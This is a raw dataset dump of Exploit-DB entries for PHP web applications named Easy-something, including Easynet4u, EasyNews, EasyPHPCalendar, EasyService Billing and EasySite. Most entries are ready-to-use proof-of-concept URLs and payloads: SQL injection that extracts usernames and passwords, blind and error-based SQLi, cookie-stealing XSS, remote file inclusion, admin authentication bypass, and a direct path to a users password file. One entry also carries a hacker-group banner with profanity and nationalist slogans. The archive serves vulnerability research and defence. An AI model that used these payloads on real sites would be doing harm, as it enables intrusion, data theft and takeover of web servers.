deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33753
Description: Easynet4u Forum Host - 'topic.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-12
Author: Pr0T3cT10n

Exploit:
source: https://www.securityfocus.com/bid/38697/info

Easynet4u Forum Host is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/SCRIPT_PATH/topic.php?topic=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6/**/FROM/**/users/*&forum=0
Exploit-DB #6728
Description: Easynet4u Link Host - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-10
Author: BeyazKurt

Exploit:
#######################################################
# Author : BeyazKurt
# Contact : BeyazKurt@BSDMail.Com
# Site : www.khg-crew.ws - KOSOVA HACKERS GROUP
# LAHEY mahkemesini kiniyoruz. FUCK THE JUSTICE!
#
# Script : Easynet4u Link Host
# Script Site: http://www.easynet4u.com/linkdem.php
# 
# SQL Injection Vuln. :
# Exploit : SITE.COM/[path]/directory.php?username=demo&ax=list&sub=51&cat_id=51+union+select+0,1,version(),database(),4/*
#
# Example:
# http://www.easynet4u.com/homebusiness/directory.php?username=demo&ax=list&sub=51&cat_id=51+union+select+0,1,version(),database(),4/*
#
# -------------------------------
#              INDEPENDENT KOSOVA (H) - Etnic ALBANIA (H)
#  pigs for dedication : WE Are Don't Forget Kosova, Drenica, Srebrenica And All Genocide !!
#                       Proud 2 Be MUSLIM !
#                      Proud 2 Be ALBANIAN !
#
# Bunuda yayinlamassn ebeni ...
#######################################################

# milw0rm.com [2008-10-10]
Exploit-DB #21168
Description: EasyNews 1.5 - NewsDatabase/Template Modification
Type: webapps
Platform: php
Date: 2001-12-01
Author: markus arndt

Exploit:
source: https://www.securityfocus.com/bid/3643/info

EasyNews is a free, open-source script for displaying news stories on a website.

EasyNews is prone to a vulnerability which may allow a remote attacker to modify information in its Newsdatabase. As a result, a remote attacker may post unmoderated comments or possibly modify information in the templates used by EasyNews.

This may be exploited via a specially crafted web request.

Earlier versions may also be vulnerable.

http://[target]/index.php?action=comments&do=save&id=1&cid=../news&name=11/1
1/11&kommentar=%20&email=hax0r&zeit=you%20suck,11:11,../news,bugs@securityal
ert.com&datum=easynews%20exploited
Exploit-DB #2588
Description: Easynews 4.4.1 - 'admin.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2006-10-17
Author: nuffsaid

Exploit:
+-------------------------------------------------------------------------------------------
+ Easynews <= 4.4.1 (admin.php) Authentication Bypass Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: Easynews <= 4.4.1
+ Vendor ............: http://www.myupb.com/
+ Download ..........: http://fileserv.myupb.com/download.php?url=easynews4.4.1.zip
+ Description .......: "A news management system for your website."
+ Class .............: Authentication Bypass
+ Risk ..............: High (Authentication Bypass)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Easynews doesn't properly check to ensure an administrator has been logged in with correct
+ username and password information, it only checks if $admin[$en_login_id] == "true".
+ 
+ Tested and working on version 4.4.0 and 4.4.1 (previous versions may also be affected)
+ with register_globals = On, after bypassing the login check administrators have the option
+ to edit config2.php (PHP code can be inserted then executed by visiting config2.php directly
+ or any other script that includes config2.php) and other general settings.
+ 
+ Vulnerable Code:
+ admin.php, line(s) 22: if(@$admin[$en_login_id] == "true") //admin is logged in successfuly
+ 
+ Proof Of Concept:
+ http://[target]/[path]/admin.php?action=users&en_login_id=0
+ http://[target]/[path]/admin.php?action=config&en_login_id=0
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-10-17]
Exploit-DB #3039
Description: EasyNews PRO News Publishing 4.0 - Password Disclosure
Type: webapps
Platform: php
Date: 2006-12-29
Author: bd0rk

Exploit:
=> EasyNews PRO News Publishing 4.0 Remote Password Disclosure Vulnerability <=



=> Affected Software: Easy News 4.0 PRO

=> Risk: Critical

=> Download: http://www.stphp.com/scripts/EasyNews_PRO_4_0.zip

=> Bugfounder: bd0rk

=> Contact: bd0rk[at]hackermail.com

=> Greets: str0ke, crashovernight, TheJT, Kacper

   Usage: http://[target]/[easy_news_path]/newsboard/data/users.txt

# milw0rm.com [2006-12-29]
Exploit-DB #38438
Description: EasyPHP - '/index.php' Authentication Bypass / Remote PHP Code Injection
Type: webapps
Platform: php
Date: 2013-04-09
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/58945/info

EasyPHP is prone to an authentication bypass and a PHP code execution vulnerability.

Attackers may exploit these issues to gain unauthorized access to the affected application and perform arbitrary actions or execute arbitrary PHP code within the context of the web server process. Successful attacks can compromise the affected application and possibly the underlying computer.

EasyPHP 12.1 is vulnerable; other versions may also be affected. 

http://www.example.com/home/index.php?to=ext

http://www.example.com/home/index.php?to=phpinfo
Exploit-DB #37023
Description: EasyPHP - 'main.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-03-29
Author: Skote Vahshat

Exploit:
source: https://www.securityfocus.com/bid/52781/info

EasyPHP is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/home/sqlite/main.php?dbsel=1&table=t1'
Exploit-DB #25928
Description: EasyPHPCalendar 6.1.5/6.2.x - 'calendar.php?serverPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-07-04
Author: Albania Security Clan

Exploit:
source: https://www.securityfocus.com/bid/14131/info

EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable. 

http://www.example.com/calendar/calendar.php?serverPath=http://www.example.com/[remote code]
Exploit-DB #25931
Description: EasyPHPCalendar 6.1.5/6.2.x - 'datePicker.php?serverPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-07-04
Author: Albania Security Clan

Exploit:
source: https://www.securityfocus.com/bid/14131/info
   
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
   
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable. 

http://www.example.com/calendar/events/datePicker.php?serverPath=http://www.example.com/[remote code]
Exploit-DB #25930
Description: EasyPHPCalendar 6.1.5/6.2.x - 'header.inc.php?serverPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-07-04
Author: Albania Security Clan

Exploit:
source: https://www.securityfocus.com/bid/14131/info
  
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
  
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable. 

http://www.example.com/calendar/events/header.inc.php?serverPath=http://www.example.com/[remote code]
Exploit-DB #25929
Description: EasyPHPCalendar 6.1.5/6.2.x - 'popup.php?serverPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-07-04
Author: Albania Security Clan

Exploit:
source: https://www.securityfocus.com/bid/14131/info
 
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
 
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable. 

http://www.example.com/calendar/functions/popup.php?serverPath=http://www.example.com/[remote code]
Exploit-DB #25932
Description: EasyPHPCalendar 6.1.5/6.2.x - 'setupSQL.php?serverPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-07-04
Author: Albania Security Clan

Exploit:
source: https://www.securityfocus.com/bid/14131/info
    
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
    
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable. 

http://www.example.com/calendar/setup/setupSQL.php?serverPath=http://www.example.com/[remote code]
Exploit-DB #33970
Description: EasyPublish CMS 23.04.2010 - URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-10
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40037/info

EasyPublish CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

EasyPublish CMS 23.04.2010 is vulnerable; other versions may also be affected. 

http://www.example.com/?%22%3E%3Cb%3E%3Cscript%3Ex=document;alert%28x.cookie%29%3C/script%3E
Exploit-DB #26047
Description: Easypx41 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-07-29
Author: FalconDeOro

Exploit:
source: https://www.securityfocus.com/bid/14416/info

Easypx41 is prone to cross-site scripting vulnerabilities.

An attacker may leverage these issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?pg=modules/forum/viewprofil.php&membres=[Code-XSS]
http://www.example.com/index.php?pg=modules/forum/viewtopic.php&Forum=[Code-XSS]&pgfull
Exploit-DB #26048
Description: Easypx41 - Multiple Variable Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2005-07-29
Author: FalconDeOro

Exploit:
source: https://www.securityfocus.com/bid/14421/info

Easypx41 is prone to multiple variable injection vulnerabilities.

An attacker can manipulate multiple script input variables and bypass access controls to retrieve sensitive and privileged information. Information obtained may aid in further attacks against the vulnerable application or the underlying system.

http://www.example.com/index.php?pg=&L=[variable-injection]&H=[variable-injection]
http://www.example.com/index.php?pg=modules/forum/viewtopic.php&Forum=Forum%20de%20d?monstration.&msg=[PII_REDACTED].dat&pgfull[variable-injection]
http://www.example.com/index.php?pg=http://google.fr&pgtype=iframe&amp;amp;L=500&H=500
http://www.example.com/index.php?pg=modules/forum/viewprofil.php&membres=[variable-injection]&pgfull[variable-injection]
http://www.example.com/index.php?pg=modules/forum/viewprofil.php&membres=[variable-injection]
http://www.example.com/index.php?pg=modules/forum/viewtopic.php&Forum=[change-or-variable-injection].&msg=[PII_REDACTED].dat&pgfull
Exploit-DB #32418
Description: EasyRealtorPRO 2008 - 'site_search.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-09-25
Author: David Sopas

Exploit:
source: https://www.securityfocus.com/bid/31401/info

EasyRealtorPRO is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/site_search.php?search_purpose=sale&search_type=&search_price_min=&search_price_max=&search_bedroom=1&search_bathroom=1&search_city=&search_state=&search_zip=&search_radius=&search_country=&search_order=type&search_ordermethod=asc&page=2&item=5'SQL INJECTION

http://www.example.com/site_search.php?search_purpose=sale&search_type=&search_price_min=&search_price_max=&search_bedroom=1&search_bathroom=1&search_city=&search_state=&search_zip=&search_radius=&search_country=&search_order=type&search_ordermethod=asc'SQL INJECTION&page=2&item=5

http://www.example.com/site_search.php?search_purpose=sale&search_type=&search_price_min=&search_price_max=&search_bedroom=1&search_bathroom=1&search_city=&search_state=&search_zip=&search_radius=&search_country=&search_order=type'SQL INJECTION&search_ordermethod=asc&page=2&item=5
Exploit-DB #44707
Description: EasyService Billing 1.0 - 'p1' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: EasyService Billing 1.0 - 'customer-new-s.php' SQL
Injection / Cross-Site Scripting
# Dork: N/A
# Date: 22.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : all of the print and preview pages have the same vulnerabilities. (template_SBilling.php, template_Receipt.php, template_SBillingPerforma.php,template_SBillingQuotation.php)
  All of them use the same parameters. An attacker can use any of these.
====================================================

# PoC : SQLi :

Parameter : id

     Type : boolean-based blind
     Demo :
http://test.com/EasyServiceBilling/customer-new-s.php?p1=akkus+keyney
  Payload : Payload: p1=akkus+keyney' AND 1815=1815 AND 'izgU'='izgU

     Type : error-based
     Demo :
http://test.com/EasyServiceBilling/customer-new-s.php?p1=akkus+keyney
  Payload : p1=akkus+keyney' AND (SELECT 2882 FROM(SELECT
COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT
(ELT(2882=2882,1))),0x717a6b6271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UFGx'='UFGx

     Type : AND/OR time-based blind
     Demo :
http://test.com/EasyServiceBilling/customer-new-s.php?p1=akkus+keyney
  Payload : p1=akkus+keyney' AND SLEEP(5) AND 'TJOA'='TJOA

     Type : UNION query
     Demo :
http://test.com/EasyServiceBilling/customer-new-s.php?p1=akkus+keyney
  Payload : p1=akkus+keyney' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x[PII_REDACTED],0x4e70435a69565a[PII_REDACTED]566b74614e7a[PII_REDACTED]587073454f75726f[PII_REDACTED]6d514567,0x717a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#



====================================================
# PoC : XSS :

  Payload :
http://test.com/EasyServiceBilling/customer-new-s.php?p1='
</script><script>alert(1)</script>‘;
Exploit-DB #44765
Description: EasyService Billing 1.0 - 'q' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-26
Author: Divya Jain

Exploit:
<!--
# Exploit Title: EasyService Billing 1.0 SQL Injection on page jobcard-ongoing.php?q=
# Date: 25-05-2018
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594 
# Exploit Author: Divya Jain
# Version: EasyService Billing 1.0 
# CVE: CVE-2018-11444
# Category: Webapps
# Severity: High
# Tested on: KaLi LinuX_x64
# # # # # # # #
#

# Proof of Concept:
        ////////////////////////////////
          SQL Injection in q parameter
        ///////////////////////////////
    Affected Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=
# Boolean Based Blind SQL
Payload: 1337'OR%20NOT 1=1--
Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=1337'OR%20NOT 1=1--

# Error-Based SQL
Payload: 1337'AND%20(SELECT%202%20FROM(SELECT%20COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT(ELT(2=2,1))),0x717a6b6271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20'aBCD'='aBCD

Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=1337'AND%20(SELECT%202%20FROM(SELECT%20COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT(ELT(2=2,1))),0x717a6b6271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20'aBCD'='aBCD
#################################
Exploit-DB #44764
Description: EasyService Billing 1.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-26
Author: Divya Jain

Exploit:
<!--
# Exploit Title: EasyService Billing 1.0 Cross-Site Scripting in 'q' Parameter
# Date: 25-05-2018
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594 
# Exploit Author: Divya Jain
# Version: EasyService Billing 1.0 
# CVE: CVE-2018-11443
# Category: Webapps
# Severity: Medium
# Tested on: KaLi LinuX_x64
# # # # #
# 
# Proof of Concept:
#
            ///////////
           //  XSS  //
          ///////////
 
 Affected Link: http://test.com/EasyServiceBilling/jobcard-ongoing.php?q=
 Payload: %27%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%27
 Parameter: q
 Link: http://test.com/EasyServiceBilling/jobcard-ongoing.php?q=%27%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%27
 
 ###########################################################################
Exploit-DB #44706
Description: EasyService Billing 1.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: EasyService Billing 1.0 - 'template_().php' SQL Injection / Cross-Site Scripting
# Dork: N/A
# Date: 22.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage:
https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : all of the print and preview pages have the same vulnerabilities. (template_SBilling.php, template_Receipt.php, template_SBillingPerforma.php,template_SBillingQuotation.php)
  All of them use the same parameters. An attacker can use any of these.
====================================================

# PoC : SQLi :

Parameter : id

     Type : boolean-based blind
     Demo :
http://test.com/EasyServiceBilling/print/template_SBilling.php?tid=3&id=145
  Payload : tid=3&id=145' OR NOT 3938=3938#

     Type : error-based
     Demo :
http://test.com/EasyServiceBilling/print/template_SBilling.php?tid=3&id=145
  Payload : tid=3&id=145' AND (SELECT 7524 FROM(SELECT
COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT
(ELT(7524=7524,1))),0x71767a7171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UjGj

     Type : AND/OR time-based blind
     Demo :
http://test.com/EasyServiceBilling/print/template_SBilling.php?tid=3&id=145
  Payload : tid=3&id=145' AND SLEEP(5)-- USaG


====================================================
# PoC : XSS :

  Payload :
http://test.com/EasyServiceBilling/print/template_SBilling.php?tid=3&id='
</script><script>alert(1)</script>‘;
Exploit-DB #31587
Description: EasySite 2.0 - 'browser.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-02
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28563/info

EasySite is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

EasySite 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/Easysite-2.0_path/configuration/browser.php?EASYSITE_BASE=ZoRLu.txt?
Exploit-DB #31588
Description: EasySite 2.0 - 'image_editor.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-02
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28563/info
 
EasySite is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
EasySite 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/Easysite-2.0_path/configuration/image_editor.php?EASYSITE_BASE=ZoRLu.txt?
Exploit-DB #31589
Description: EasySite 2.0 - 'skin_chooser.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-02
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28563/info
  
EasySite is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
EasySite 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/Easysite-2.0_path/configuration/skin_chooser.php?EASYSITE_BASE=ZoRLu.txt?